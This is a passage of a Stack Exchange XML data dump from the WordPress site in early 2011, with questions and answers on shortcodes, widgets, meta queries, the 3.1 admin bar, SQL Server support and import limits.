  <row Id="10361" PostTypeId="1" CreationDate="2011-02-24T21:30:48.813" Score="0" ViewCount="219" Body="&lt;p&gt;I have many posts with a unique reference for a custom field [123456], over time I would like an administrator to upload a single image that matches the custom field ie &gt; 123456.jpg&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would then like to use a condition in the loop that says if file exists (123456.jpg) that matches the custom field (123456) then use that image for all posts with that custom field...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I cant use the Media library because the folder structure is chronological, is there another way?&lt;/p&gt;&#xA;" OwnerUserId="3388" LastActivityDate="2011-08-25T06:34:29.957" Title="Users uploaded image and matching an id or taxonomy" Tags="&lt;custom-field&gt;&lt;images&gt;" AnswerCount="1" />
  <row Id="10362" PostTypeId="2" ParentId="301" CreationDate="2011-02-24T21:33:31.783" Score="0" ViewCount="" Body="&lt;p&gt;The docs are written in Russian and somewhat vague.  Sometimes you're wondering if the translation is bad or if the docs are just not very explicit in the first place.  So finding answers is sometimes time-consuming and/or requires trial-and-error testing.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, the author seems very engaged with the community, explaining configuration options.  And NginX itself gives you some feedback, such as &quot;you can't use this option here.&quot; &lt;/p&gt;&#xA;" OwnerUserId="3453" LastEditorUserId="3453" LastEditorDisplayName="" LastEditDate="2011-02-24T21:42:47.187" LastActivityDate="2011-02-24T21:42:47.187" />
  <row Id="10363" PostTypeId="2" ParentId="10361" CreationDate="2011-02-24T21:38:22.543" Score="0" ViewCount="" Body="&lt;p&gt;You can still use the media library and either reference the attachment's ID or add a postmeta to the attachment containing your id.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could even make this a bit easier by using a custom taxonomy instead of custom field. Add your numbers as terms to that taxonomy. Also register the taxonomy to apply to attachments. Then write a bit of code that whenever the post has (a) term(s) in that taxonomy finds the attachments that also have a the same term(s) in that taxonomy. This would even allow you to have both, multiple of your numbers for a post and multiple images per number, leading to all kinds of possible combinations.&lt;/p&gt;&#xA;" OwnerUserId="3104" LastActivityDate="2011-02-24T21:38:22.543" CommentCount="4" />
  <row Id="10364" PostTypeId="1" AcceptedAnswerId="10366" CreationDate="2011-02-24T21:50:07.487" Score="3" ViewCount="155" Body="&lt;p&gt;I took a code straight out of one of my themes I created, and it's a list of all 50 states in an unordered list packed into a widget you can just drag and drop on the sidebar.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is, when I try using this code in a PLUGIN file, I get the following error:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;Fatal error: Call to a member function register() on a non-object in C:\xampp\htdocs\wordpress\wp-includes\widgets.php on line 431&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why would it work in the theme, but not in the plugin? By the way, the active theme is NOT the theme I took the code out of.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's my code: &lt;a href=&quot;http://pastebin.com/ZeRWW3yb&quot; rel=&quot;nofollow&quot;&gt;http://pastebin.com/ZeRWW3yb&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="2415" LastActivityDate="2011-02-24T22:02:27.687" Title="Custom Widget function in Plugin not working?" Tags="&lt;plugin-development&gt;&lt;widgets&gt;" AnswerCount="1" />
  <row Id="10365" PostTypeId="1" CreationDate="2011-02-24T21:55:29.600" Score="0" ViewCount="77" Body="&lt;p&gt;I currently have a blog at &lt;a href=&quot;http://thinkfuture.com/cfs&quot; rel=&quot;nofollow&quot;&gt;http://thinkfuture.com/cfs&lt;/a&gt; . Its running WP 3.1 on IIS on a dedicated Windows 2003 server. I have the domain freedombunker.com redirecting to the blog at that URL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;According to my SEO company, I would like to move my blog so that:&#xA;1. You can reach the home page if you use &lt;a href=&quot;http://freedombunker.com&quot; rel=&quot;nofollow&quot;&gt;http://freedombunker.com&lt;/a&gt;&#xA;2. The permalinks which pointed to thinkfuture.com/cfs continue to work&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, a post at this current permalink&lt;/p&gt;&#xA;&#xA;&lt;p&gt;http ://thinkfuture.com/cfs/index.php/2011/02/23/obama-welcomes-high-gas-prices/ &lt;/p&gt;&#xA;&#xA;&lt;p&gt;should remain available as well as at the new permalink&lt;/p&gt;&#xA;&#xA;&lt;p&gt;http ://freedombunker.com/index.php/2011/02/23/obama-welcomes-high-gas-prices/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;so either permalink can work. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this doable? Possible? A pipe dream? Can you run the same blog at two different permalinks with no pain and suffering? Can I just create a new virtual server on the Windows box and point to the wp directory on the first server?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks...Chris&lt;/p&gt;&#xA;" OwnerUserId="3449" LastEditorUserId="251" LastEditorDisplayName="" LastEditDate="2011-04-12T20:31:31.400" LastActivityDate="2011-04-12T20:31:31.400" Title="Moving blog and maintaining current permalinks" Tags="&lt;permalinks&gt;&lt;seo&gt;&lt;iis&gt;" AnswerCount="1" />
  <row Id="10366" PostTypeId="2" ParentId="10364" CreationDate="2011-02-24T22:02:27.687" Score="3" ViewCount="" Body="&lt;p&gt;try replacing :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;register_widget('States_Widget');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('widgets_init', 'register_states_widget');&#xA;function register_states_widget() {&#xA;    register_widget('States_Widget');&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-02-24T22:02:27.687" CommentCount="2" />
  <row Id="10367" PostTypeId="2" ParentId="8998" CreationDate="2011-02-24T22:06:09.303" Score="2" ViewCount="" Body="&lt;p&gt;There's not an ideal place to hook into the registration process. I think there's a strong case to add a user registration event action hook to core. But I think you might be able to fake it, in the mean-time. One of the last things that happens when a user successfully registers, is the creation of a user option named 'default_password_nag'. We can create an action to watch for that, and set the user up when it's set.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('update_user_metadata', 'my_auto_login', 10, 4);&#xA;&#xA;function my_auto_login( $metaid, $userid, $key, $value ) {&#xA;    // We only care about the password nag event. Ignore anything else.&#xA;    if ( 'default_password_nag' !== $key  &amp;amp;&amp;amp; true !== $value) {&#xA;        return;&#xA;    }&#xA;&#xA;    // Set the current user variables, and give him a cookie. &#xA;    wp_set_current_user( $userid );&#xA;    wp_set_auth_cookie( $userid );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Untested, but should work, in theory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now that we have an idea what to do, I'll opine that I think this is a bad idea, security-wise. People can create junk accounts without even having to go through the trouble of setting up a junk email dropbox. :)&lt;/p&gt;&#xA;" OwnerUserId="65" LastActivityDate="2011-02-24T22:06:09.303" CommentCount="1" />
  <row Id="10368" PostTypeId="2" ParentId="10357" CreationDate="2011-02-24T22:12:21.720" Score="3" ViewCount="" Body="&lt;p&gt;you're missing an array within the meta_query element:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$args = array(&#xA;           'post_type' =&amp;gt; 'programmes',&#xA;           'meta_query' =&amp;gt; array(&#xA;                              array(&#xA;                                   'key'     =&amp;gt; 'linktovideocatchup',&#xA;                                   'value'   =&amp;gt; '',&#xA;                                   'compare' =&amp;gt; 'NOT LIKE'&#xA;                                   )&#xA;                              )&#xA;            );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(this is required to allow for querying of multiple meta fields.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;you also had an extraneous comma after the meta_query array element which can cause problems.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i think you should also be able to use the operator '&amp;lt;&gt;' rather than 'NOT LIKE', i believe it's more efficient.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;there's a good write-up on the meta_query functionality here: &lt;a href=&quot;http://scribu.net/wordpress/advanced-metadata-queries.html&quot; rel=&quot;nofollow&quot;&gt;http://scribu.net/wordpress/advanced-metadata-queries.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2877" LastActivityDate="2011-02-24T22:12:21.720" />
  <row Id="10369" PostTypeId="1" AcceptedAnswerId="10374" CreationDate="2011-02-24T22:15:29.217" Score="0" ViewCount="89" Body="&lt;p&gt;I'm working on my first shortcode, examples in Shortcode API are not suitable for starters, so I'm almost sure I'm doing it wrong!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My shortcode:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function hello( $atts ) {&#xA;        extract( shortcode_atts( array(&#xA;        'foo' =&amp;gt; 'something',&#xA;        'bar' =&amp;gt; 'something else',&#xA;        ), $atts ) );&#xA;&#xA;       return 'Hello, World!';&#xA;       return $foo;&#xA;   }&#xA;&#xA;add_shortcode('hw', 'hello');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And I want [hw foo=HEHEHE] to output: Hello, World! HEHEHE.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But it displays only Hello, World!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How to access &amp;amp; echo shortcode attributes and eventually how to set the default value (I guess I've already set the default values to &quot;something&quot; and &quot;something else&quot; but I'm not sure since I have no idea how to output them.&lt;/p&gt;&#xA;" OwnerUserId="1869" LastActivityDate="2011-02-24T22:26:22.047" Title="Shortcode attributes don't appear?" Tags="&lt;shortcode&gt;" AnswerCount="3" />
  <row Id="10370" PostTypeId="1" CreationDate="2011-02-24T22:16:38.303" Score="1" ViewCount="347" Body="&lt;p&gt;I recently updated to WordPress 3.1, and with that update, something very interesting happened. Links became unclickable -- clicking on any link would literally result in nothing happening. Interestingly enough, all of the jQuery stuff still works. Removing the jQuery Mobile script gets rid of the problem. The error being generated was:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Error: uncaught exception: [Exception... &quot;Component returned failure code: 0x80070057 (NS_ERROR_ILLEGAL_VALUE) [nsIXMLHttpRequest.open]&quot;  nsresult: &quot;0x80070057 (NS_ERROR_ILLEGAL_VALUE)&quot;  location: &quot;JS frame :: http://......./wp-includes/js/jquery/jquery.js?ver=1.4.4 :: anonymous :: line 138&quot;  data: no]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any idea how to fix this?&lt;/p&gt;&#xA;" OwnerUserId="2347" LastActivityDate="2011-03-26T23:38:22.530" Title="WordPress 3.1 not compatible with jQuery Mobile?" Tags="&lt;permalinks&gt;&lt;jquery&gt;&lt;mobile&gt;" AnswerCount="1" CommentCount="5" />
  <row Id="10371" PostTypeId="2" ParentId="10332" CreationDate="2011-02-24T22:24:36.793" Score="1" ViewCount="" Body="&lt;p&gt;Try these plugins:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;quick-pagepost-redirect-plugin&lt;/strong&gt; (set redirects manually)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Permalink Finder&lt;/strong&gt; (finds missing pages and redirects to most likely candidate)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use them together and they work great. I used to use the &quot;Page Links To&quot; plugin as mentioned above, which works ok but with the quick-pagepost-redirect-plugin plugin you can create redirects all from one screen and you don't have to create unneccessary pages.&lt;/p&gt;&#xA;" OwnerUserId="1836" LastActivityDate="2011-02-24T22:24:36.793" />
  <row Id="10372" PostTypeId="2" ParentId="10369" CreationDate="2011-02-24T22:25:25.137" Score="2" ViewCount="" Body="&lt;p&gt;This should do it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    function hello( $atts ) {&#xA;&#xA;        extract( shortcode_atts( array(&#xA;                                     'foo' =&amp;gt; 'Default'&#xA;                                     ), $atts ) );&#xA;        return 'Hello, World! ' . $foo . '.';&#xA;&#xA;    }&#xA;&#xA;add_shortcode('hw', 'hello');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If no value for foo is passed in it sets the default value of 'Default'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The return line returns the words 'hello world' followed by the contents of foo then a full stop.&lt;/p&gt;&#xA;" OwnerUserId="2877" LastActivityDate="2011-02-24T22:25:25.137" />
  <row Id="10373" PostTypeId="2" ParentId="10369" CreationDate="2011-02-24T22:26:04.357" Score="1" ViewCount="" Body="&lt;p&gt;you shortcode function is just fine but since you return first &lt;code&gt;return 'Hello, World!';&lt;/code&gt; the function ends before running  &lt;code&gt;return $foo;&lt;/code&gt;&#xA;if you want you can change it a bit to see attributes :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function hello( $atts ) {&#xA;        extract( shortcode_atts( array(&#xA;        'foo' =&amp;gt; 'something',&#xA;        'bar' =&amp;gt; 'something else',&#xA;        ), $atts ) );&#xA;&#xA;       return 'Hello, World! Foo: ' . $atts['foo'] ;&#xA;&#xA;   }&#xA;&#xA;add_shortcode('hw', 'hello');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-02-24T22:26:04.357" />
  <row Id="10374" PostTypeId="2" ParentId="10369" CreationDate="2011-02-24T22:26:22.047" Score="1" ViewCount="" Body="&lt;p&gt;You are return two times! The first return exit the function, so your shortcode outputs always &quot;Hello World&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Correct code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function hello( $atts ) {&#xA;    extract( shortcode_atts( array(&#xA;    'foo' =&amp;gt; 'something',&#xA;    'bar' =&amp;gt; 'something else',&#xA;    ), $atts ) );&#xA;&#xA;   print_r($atts); // Remove, when you are fine with your atts! &#xA;   return 'Hello, World: '.$atts['foo'];&#xA;&#xA;}&#xA; add_shortcode('hw', 'hello');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For the second question: do a &lt;code&gt;print_r($atts)&lt;/code&gt; after the extracts part!&lt;/p&gt;&#xA;" OwnerUserId="2727" LastActivityDate="2011-02-24T22:26:22.047" />
  <row Id="10375" PostTypeId="1" CreationDate="2011-02-24T22:29:00.513" Score="0" ViewCount="192" Body="&lt;p&gt;WordPress / ASP.Net&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is a .com website&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am working on a blogging website which is going to be a main website. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To which I have some Q &amp;amp; A Session as like we have in Stack Overflow.&lt;br&gt;&#xA;I am wondering, whether it is possible to merge WordPress and ASP.Net Website by having one common database - SQL 2008 ?&lt;/p&gt;&#xA;" OwnerUserId="3490" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-05-26T14:22:13.633" LastActivityDate="2011-08-25T03:34:23.603" Title="Can I merge a blog site to ASP.Net Website?" Tags="&lt;wordpress.com&gt;&lt;integration&gt;" AnswerCount="2" />
  <row Id="10376" PostTypeId="2" ParentId="10370" CreationDate="2011-02-24T22:29:48.833" Score="2" ViewCount="" Body="&lt;p&gt;Just a guess, but your error message indicates that WordPress is using jQuery 1.4.4. If you look at the jQuery Mobile website, they're using 1.5. Have you tried using &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_enqueue_script&quot; rel=&quot;nofollow&quot;&gt;wp_enqueue_script&lt;/a&gt; to use a jQuery 1.5? You'd want to try something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;function my_init_method() {&#xA;    if (!is_admin()) {&#xA;        wp_deregister_script( 'jquery' );&#xA;        wp_register_script( 'jquery', 'http://ajax.googleapis.com/ajax/libs/jquery/1.5/jquery.min.js');&#xA;        wp_enqueue_script( 'jquery' );&#xA;    }&#xA;}    &#xA;&#xA;add_action('init', 'my_init_method');&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="199" LastActivityDate="2011-02-24T22:29:48.833" CommentCount="1" />
  <row Id="10377" PostTypeId="1" CreationDate="2011-02-24T22:32:36.057" Score="0" ViewCount="171" Body="&lt;p&gt;Image uploads (slowly), and displays in the media window.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But size shows &quot;&lt;strong&gt;(0 × 0)&lt;/strong&gt;&quot; and if I try to use &lt;em&gt;Edit Image&lt;/em&gt; button I can't edit the image but instead get this message:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;&lt;strong&gt;&quot;Image data does not exist. Please re-upload the image.&quot;&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have 2 different WP installs each with unique plugins, and the problem exists on both installs&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Is it WP 3.1 recent upgrade? Is it a plugin? Other?&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="1836" LastActivityDate="2011-08-25T23:34:53.767" Title="image upload/edit is broken: &quot;Image data does not exist. Please re-upload the image.&quot;" Tags="&lt;images&gt;&lt;uploads&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="10378" PostTypeId="2" ParentId="7927" CreationDate="2011-02-24T22:33:50.973" Score="1" ViewCount="" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;I can use the WordPress export/import feature but it would not work in my case with some of the blogs having a lot of content. I have played with this option. Not worth it. Export would time out even on localhost. &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Have you tried increasing the php script execution timeout values in your &lt;code&gt;php.ini&lt;/code&gt; file (or perhaps in &lt;code&gt;.htaccess&lt;/code&gt;)? I think I'd try that route first, if possible. You probably could set &lt;code&gt;max_execution_time = 180&lt;/code&gt;, or perhaps even higher. It's possible that you might also need to bump up the memory limit, too. Add something like this to your &lt;code&gt;wp-config.php&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;define('WP_MEMORY_LIMIT', '160M');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then, on the import side, you might run into upload size limits. Another &lt;code&gt;php.ini&lt;/code&gt; tweak:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;upload_max_filesize = 96M&#xA;post_max_size = 96M&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Alternately, it's possible to split the WXR file into smaller pieces. I have a perl script for this, but I wrote it for a client, and would need permission to share it. But if you're interested, I can ask.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A little-known secret of the importer is that it will skip over information that it has previously imported. So if you get past the upload size limits, but the import times out part-way through, just try importing the same file again. It will quickly skip over the data that's already in the database, then pick up again where it left off. But that makes me nervous, because it's not foolproof: If it imports a post, but times out before saving the all the post's metadata, the metadata might get skipped.&lt;/p&gt;&#xA;" OwnerUserId="65" LastActivityDate="2011-02-24T22:33:50.973" />
  <row Id="10379" PostTypeId="2" ParentId="10309" CreationDate="2011-02-24T22:41:23.027" Score="0" ViewCount="" Body="&lt;p&gt;for sidebar login:  &lt;strong&gt;login-with-ajax&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;for main login/registration page: &lt;strong&gt;S2Member&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="1836" LastActivityDate="2011-02-24T22:41:23.027" />
  <row Id="10380" PostTypeId="2" ParentId="10375" CreationDate="2011-02-24T22:45:50.090" Score="0" ViewCount="" Body="&lt;p&gt;Hope this helps.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;These instructions assume you’re installing WordPress on Windows 7 or Windows Server 2008 or 2008 R2. If you’re installing WordPress in a Windows share hosting environment, many of these same concepts apply.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.visitmix.com/development/installing-wordpress-on-sql-server&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.visitmix.com/development/installing-wordpress-on-sql-server&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2873" LastActivityDate="2011-02-24T22:45:50.090" />
  <row Id="10381" PostTypeId="2" ParentId="10375" CreationDate="2011-02-24T22:47:46.643" Score="0" ViewCount="" Body="&lt;p&gt;Wordpress is running only a MySQL Server and is only supported on it!&lt;br&gt;&#xA;The database backend that it use ($wpdb) is optimized and written only for MySQL. &lt;a href=&quot;http://wordpress.org/about/requirements/&quot; rel=&quot;nofollow&quot; title=&quot;Requirements&quot;&gt;See the official requirements to run Wordpress&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are adventourus, you can try this distibuition to run it on SQL Server&#xA;&lt;a href=&quot;http://wordpress.visitmix.com/development/installing-wordpress-on-sql-server&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.visitmix.com/development/installing-wordpress-on-sql-server&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Disclaimer 1:&lt;br&gt;&#xA;Never tried.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Disclaimer 2:&lt;br&gt;&#xA;You may lack of support for a tons of plugins. Plugins are often written with MySQL in mind, so SQL Server 2008 cannot understand it very well -&gt; they may not work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regarding your last question: yes, it is possibile. If you want you can merge the two database. WP is using a table prefix for his tables, so you are safe with your existing tables. &lt;/p&gt;&#xA;" OwnerUserId="2727" LastActivityDate="2011-02-24T22:47:46.643" CommentCount="3" />
  <row Id="10382" PostTypeId="2" ParentId="9781" CreationDate="2011-02-24T22:59:10.057" Score="0" ViewCount="" Body="&lt;h2&gt;Success!&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;All I had to do was install WP in my root and then go to Settings &gt; Reading &gt; Front page displays &gt; and then select 'blog' as my 'posts page'. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For my front page I used a custom template that I created from this tutorial &lt;a href=&quot;http://www.wordpressmax.com/customize-wordpress/custom-page&quot; rel=&quot;nofollow&quot;&gt;http://www.wordpressmax.com/customize-wordpress/custom-page&lt;/a&gt; which is semi dated but the info is still accurate.   &lt;/p&gt;&#xA;" LastActivityDate="2011-02-24T22:59:10.057" />
  <row Id="10383" PostTypeId="1" CreationDate="2011-02-24T21:07:44.577" Score="0" ViewCount="37" Body="&lt;p&gt;I want to get all categories in a new page which doesn't include any post. I tried wp_list_categories(); function. But it show only &quot;No category&quot; message. &#xA;How do I do it?&lt;/p&gt;&#xA;" LastActivityDate="2011-07-04T02:47:09.293" Title="wordpress category" Tags="&lt;categories&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="10384" PostTypeId="2" ParentId="10383" CreationDate="2011-02-24T21:43:23.973" Score="3" ViewCount="" Body="&lt;p&gt;This will only display the categories if there are posts associated with them, make sure that there are posts in your wordpress database. However, you might try:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;wp_list_categories(array('hide_empty'=&amp;gt;0));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which will override that functionality.&lt;/p&gt;&#xA;" OwnerUserId="3489" LastActivityDate="2011-02-24T21:43:23.973" />
  <row Id="10385" PostTypeId="1" AcceptedAnswerId="10386" CreationDate="2011-02-24T23:12:05.467" Score="1" ViewCount="161" Body="&lt;p&gt;So I upgraded to 3.1 now I have a white band above the header of my website in the frontend when I'm logged in, I know this should be the control menu, but just a white band :-(&lt;/p&gt;&#xA;" OwnerUserId="3388" LastEditorUserId="73" LastEditorDisplayName="" LastEditDate="2011-02-25T03:21:01.760" LastActivityDate="2011-02-25T13:10:39.857" Title="Empty space instead of admin bar" Tags="&lt;upgrade&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="10386" PostTypeId="2" ParentId="10385" CreationDate="2011-02-24T23:22:52.030" Score="1" ViewCount="" Body="&lt;p&gt;you are correct, that is for the admin bar. add this code to functions.php to disable the admin bar if you wish&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/* Disable the Admin Bar. */&#xA;remove_action( 'init', 'wp_admin_bar_init' );&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;if you want to use it then check your source for &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div id=&quot;wpadminbar&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;quicklinks&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If so, then the output is good, After that, it may be css or js conflicts perhaps&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-02-24T23:22:52.030" CommentCount="1" />
  <row Id="10387" PostTypeId="1" AcceptedAnswerId="10392" CreationDate="2011-02-24T23:32:10.037" Score="0" ViewCount="102" Body="&lt;p&gt;I am looking for a function that will retrieve the names and ids of all categories that will output a checkbox, or give me the data so I can perform a loop.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;checkbox&quot; name=&quot;category&quot; value=&quot;category_id&quot; /&amp;gt; Category 1&#xA;&amp;lt;input type=&quot;checkbox&quot; name=&quot;category&quot; value=&quot;category_id&quot; /&amp;gt; Category 2&#xA;&amp;lt;input type=&quot;checkbox&quot; name=&quot;category&quot; value=&quot;category_id&quot; /&amp;gt; Category 3&#xA;&amp;lt;input type=&quot;checkbox&quot; name=&quot;category&quot; value=&quot;category_id&quot; /&amp;gt; Category 4&#xA;&amp;lt;input type=&quot;checkbox&quot; name=&quot;category&quot; value=&quot;category_id&quot; /&amp;gt; Category 5&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1878" LastActivityDate="2011-02-25T00:22:07.073" Title="Return array of categories to php function" Tags="&lt;categories&gt;&lt;array&gt;" AnswerCount="1" />
  <row Id="10388" PostTypeId="2" ParentId="1327" CreationDate="2011-02-24T23:35:53.710" Score="0" ViewCount="" Body="&lt;p&gt;Chris_O's answer seems to indicate the &quot;managed&quot; hosting product is generally poorly managed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But isn't the point of managed hosting to get exactly what you want by paying a professional to do the labor?  We can't assume VPS hosting professionals are generally incompetent and/or unwilling to offer anything but Cpanel.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course a paid professional can do the job better than a newbie, ceteris paribus.  But where are you shopping for managed hosting?  How much are you willing to pay?  How honest is the sysadmin?  Etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So managed hosting should be &quot;better for performance&quot; if the sysadmin knows his/her craft and you know what to ask for.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have no affiliation with this company (random example) but does this sound like they're asking you to use Cpanel?  From &lt;a href=&quot;http://www.linkedin.com/company/percona&quot; rel=&quot;nofollow&quot;&gt;Atlantic.net's &quot;Managed Hosting&quot; page&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&quot;You tell us your vision and goals and&#xA;  we will work with you to develop a&#xA;  Dedicated Hosting solution&#xA;  specifically to meet your needs.&quot; &quot;Let our Cloud Engineers help you design, install, manage and monitor a private cloud infrastructure designed specifically for your needs.&quot; Etc.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;No mention of VPS on that particular page, but they offer it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also you might want professional &lt;a href=&quot;http://www.linkedin.com/company/percona&quot; rel=&quot;nofollow&quot;&gt;help with your WordPress database&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Percona is the largest independent&#xA;  MySQL support and consulting company,&#xA;  with a global 24×7 staff of over 40&#xA;  people, serving 900+ customers in 50+&#xA;  countries since 2006.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="3453" LastEditorUserId="3453" LastEditorDisplayName="" LastEditDate="2011-02-24T23:58:21.217" LastActivityDate="2011-02-24T23:58:21.217" />
  <row Id="10389" PostTypeId="1" CreationDate="2011-02-25T00:02:51.130" Score="0" ViewCount="71" Body="&lt;p&gt;When I click &quot;Update&quot; button to update an existing blog post, it returns &quot;Nothing found&quot; page (404 error), regardless how many times I tried to update again. This happens to random blog posts.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://road2tech.com/2010/05/unable-to-post-or-publish-anything-on-wordpress/&quot; rel=&quot;nofollow&quot;&gt;whitelisting&lt;/a&gt; the domain in&#xA;&lt;strong&gt;mod_security&lt;/strong&gt; rules, no luck.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://thesocialmediaguide.com.au/2010/07/31/solution-for-wordpress-database-error-mysql-server-has-gone-away-for-query/&quot; rel=&quot;nofollow&quot;&gt;set&lt;/a&gt; &lt;code&gt;$this-&amp;gt;query(&quot;set session&#xA;wait_timeout=600&quot;);&lt;/code&gt; in wp-db.php, no&#xA;luck.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Any idea? &lt;/p&gt;&#xA;" LastActivityDate="2011-02-25T00:02:51.130" Title="Update existing post return 404 error" 